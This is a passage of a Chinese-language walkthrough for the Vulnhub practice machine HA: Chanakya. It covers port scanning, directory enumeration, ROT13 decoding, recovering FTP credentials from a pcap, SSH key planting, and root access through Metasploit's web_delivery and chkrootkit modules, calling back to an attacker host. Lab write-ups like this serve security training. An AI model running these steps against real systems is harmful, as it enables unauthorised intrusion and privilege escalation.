HA: Chanakya Vulnhub Walkthrough

靶机链接:

https://www.vulnhub.com/entry/ha-chanakya,395/

网络主机探测:

主机端口扫描:

nmap -p- -sC -sV 10.10.202.136

FTP 有认证

HTTP目录枚举(dirb和dirsearch 多种工具使用枚举)

dirb http://10.10.202.136 -X .php,.txt,.html,.xml,.yml,.json

---- Scanning URL: http://10.10.202.136/ ----
+ http://10.10.202.136/abuse.txt (CODE:200|SIZE:14)
+ http://10.10.202.136/child.html (CODE:200|SIZE:1508)
+ http://10.10.202.136/facts.html (CODE:200|SIZE:899)
+ http://10.10.202.136/index.html (CODE:200|SIZE:2382)
+ http://10.10.202.136/legacy.html (CODE:200|SIZE:1423)
+ http://10.10.202.136/personal.html (CODE:200|SIZE:1175)
+ http://10.10.202.136/work.html (CODE:200|SIZE:1400)

这是一种ROT13的加密方式

ROT13(回转13位)是一种简易的替换式密码算法。它是一种在英文网络论坛用作隐藏八卦、妙句、谜题解答以及某些脏话的工具,目的是逃过版主或管理员的匆匆一瞥。ROT13 也是过去在古罗马开发的凯撒密码的一种变体。ROT13是它自身的逆反,即:要还原成原文只要使用同一算法即可得,故同样的操作可用于加密与解密。该算法并没有提供真正密码学上的保全,故它不应该被用于需要保全的用途上。它常常被当作弱加密示例的典型。

应用ROT13到一段文字上仅仅只需要检查字母顺序并取代它在13位之后的对应字母,有需要超过时则重新绕回26英文字母开头即可。A换成N、B换成O、依此类推到M换成Z,然后串行反转:N换成A、O换成B、最后Z换成M。只有这些出现在英文字母里的字符受影响;数字、符号、空白字符以及所有其他字符都不变。替换后的字母大小写保持不变。

在线解密:

https://rot13.com/

应该是pcap流量包,直接下载即可

获取FTP明文密码登录即可

用户的家目录

发现无可利用的文件,那么我们直接本地产生秘钥对,进行写入秘钥,然后进行登录

本地直接登录

提权操作:

uname -a
Linux ubuntu 4.15.0-20-generic #21-Ubuntu SMP Tue Apr 24 06:16:15 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

find / -perm -u=s -type f 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/traceroute6.iputils
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/vmware-user-suid-wrapper
/bin/mount
/bin/umount
/bin/ping
/bin/fusermount
/bin/su
/bin/ntfs-3g
ashoka@ubuntu:/tmp$ find / -perm -g=s -type f 2>/dev/null
/usr/bin/chage
/usr/bin/expiry
/usr/bin/wall
/usr/bin/mlocate
/usr/bin/bsd-write
/usr/bin/crontab
/usr/bin/ssh-agent
/sbin/pam_extrausers_chkpwd
/sbin/unix_chkpwd
ashoka@ubuntu:/tmp$

这里通过查看tmp 下的logs 目录,系统安装了chkrootkit软件包,我们尝试使用它来提权

use exploit/multi/script/web_delivery

set lhost 10.10.202.133

生成payload,在靶机上执行,获取shell

use exploit/unix/local/chkrootkit 

msf5 exploit(unix/local/chkrootkit) > set session 1
session => 1
msf5 exploit(unix/local/chkrootkit) > set lport 8888
lport => 8888
msf5 exploit(unix/local/chkrootkit) > exploit

 

OVER !!

Happy new year !

Fuck 2019 !!  

猜你喜欢

转载自www.cnblogs.com/hack404/p/12129441.html